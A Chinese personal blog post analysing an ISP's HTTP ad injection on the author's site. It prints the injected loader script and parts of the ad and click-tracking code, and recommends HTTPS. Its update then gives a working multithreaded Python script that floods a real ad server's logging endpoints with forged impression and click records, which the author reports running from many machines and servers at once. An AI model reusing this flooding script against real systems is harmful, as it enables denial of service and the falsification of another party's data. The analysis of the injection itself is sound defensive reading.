记一次运营商植入广告分析

发布于 / JavaScript / 1 条评论

中午上了一下自己的某个网站(非https)

blob.png

???作为良心站长,网站从来不挂广告,怎么会有被ADBlock屏蔽掉的东西?

关掉了ADBlock,刷新网页,居然真的被植入了广告。检查一番,是联通网页劫持的广告。

再次打开ADBlock,打开F12控制台,刷新网页,发现有个js被adblock屏蔽掉了:

blob.png

其请求来源于jquery.qrcode.min.js这个文件,查找这个文件

blob.png

发现有两个jquery.qrcode.min.js

分析第一个jquery.qrcode.min.js文件,内容为(已prettify处理):

(function() {
    o = "http://博主的服务器/jquery.qrcode.min.js?";
    sh = "http://60.31.180.219/main.js?v=3.93&sp=301&ty=dpc";
    w = window;
    d = document;

    function ins(s, dm, id) {
        e = d.createElement("script");
        e.src = s;
        e.type = "text/javascript";
        id ? e.id = id : null;
        dm.appendChild(e);
    };
    p = d.scripts[d.scripts.length - 1].parentNode;
    ins(o, p);
    ds = function() {
        db = d.body;
        if (db && !document.getElementById("bdstat")) {
            if ((w.innerWidth || d.documentElement.clientWidth || db.clientWidth) > 1) {
                if (w.top == w.self) {
                    ins(sh, db, "bdstat");
                }
            }
        } else {
            setTimeout("ds()", 1500);
        }
    };
    ds();
})();
var mim_params = {
    'sp': '301',
    'aid': '13742',
    'sda_man': 'YnZVW2MHGlhicltS',
    'src': '0',
    'adtype': '0',
    'uid': 'E3EgKGYMbykTdCAuEjUeUhEDWypidGhbYXUjLxECblhidlVbYwcaWGJyW1I=',
    'spid': 'nmgun',
    'ad_list': '13742'
};

很基础的js代码,意思就是创建一个script,插入他的广告代码,同时为了保证网页原本的js正常运行,在url后加入一个"?",插入到网页内。

观察被插入的main.js的代码(部分):

if (_m_ad.data.view_type == 1) {mim_resize_qianru();}
if (_m_ad.data.view_type == 2) {mim_resize_fuchuang();}
if (_m_ad.data.view_type == 32) {mim_resize_ditong();}
if (_m_ad.data.view_type == 256){mim_resize_chaye();}
if (_m_ad.data.view_type == 512){mim_resize_duilian();}

根据不同类型的终端,返回不同类型的广告。嵌入、浮窗、对联,应有尽有。

还有记录用户点击广告操作的:

blob.png

十分过分!!!

通过分析js代码,发现了这句话:

logUrl = "http://" + api._log + "/stat.log.test?" + p + "&rand=" + Math.random();

通过logUrl上报用户点击信息。那么我们是否可以通过Python的requests写个循环,搞一下它呢?

正当博主研究时,这个IP进不去了。。。。本次分析到此结束。。。


对于这种问题,如何解决呢?

作为用户,adblock可能会帮你屏蔽掉一些广告,同时,你也可以保留截图证据或者其他证据,向当地有关部门投诉(我之前投诉过一次,不过对方死不承认,后来也懒得继续追问了)

作为站长,https是你最好的选择。你可以去sslforfree网站申请let's encrypt证书。https协议,任何人都无法修改你请求的文件内容。


更新:这个IP又可以访问了,通过抓包分析到了它记录日志的流程,写了如下程序:

import requests as r
import random
import _thread
from time import sleep
import os 
ranstr = "0123456789abcdef0123456789abcdef"

sended = 0
lock = False

def add():
    global lock, sended
    while lock:
        sleep(0.01)
    lock = True
    sended += 2
    lock = False

def get():
    global lock, sended
    while lock:
        sleep(0.01)
    lock = True
    a = sended
    sended = 0
    lock = False
    return a

def randstr():
    return ''.join(random.sample(ranstr, 32))

def req():
    pushid = randstr()
    aid = str(random.randint(10000, 99999))
    if r.get("http://60.31.180.219:9988/click.js?&aid=%s&pushid=%s&spid=nmgun&src=0?13694857" % (aid, pushid)).status_code != 200:
        print("Fail 1")
    if r.get("http://60.31.180.219:9988/stat.show?ver=0&bid=0&aid=%s&pushid=%s&spid=nmgun&src=undefined" % (aid, pushid)).status_code != 200:
        print("Fail 2")
    if r.get("http://60.31.180.219:8811/stat.click?ver=0&bid=0&aid=%s&pushid=%s&spid=nmgun&src=0" % (aid, pushid)).status_code != 200:
        print("Fail 3")

def fxck():
    print("start a thread")
    while(1):
        try:
            req()
            add()
        except:
            pass
    print("end a thread")

for i in range(16):
    _thread.start_new_thread( fxck, () )
    
while(1):
    sleep(5)
    os.system("cls")
    a = get()
    print(str(a * 3.0 / 5) , " requests / s")

代码原理是开16个线程发送大量的虚假日志包给他们服务器。(好像用ApacheBench更好一些。。。)

遂用个人电脑*1、学校VPN*1、树莓派*1、国外服务器*1、白嫖的服务器*若干同时运行了该代码,每台服务器开3个进程,请求速度大约在每秒每进程180请求。

转载原创文章请注明,转载自: 斐斐のBlog » 记一次运营商植入广告分析
  1. 花饭念奴

    是个狠人。。。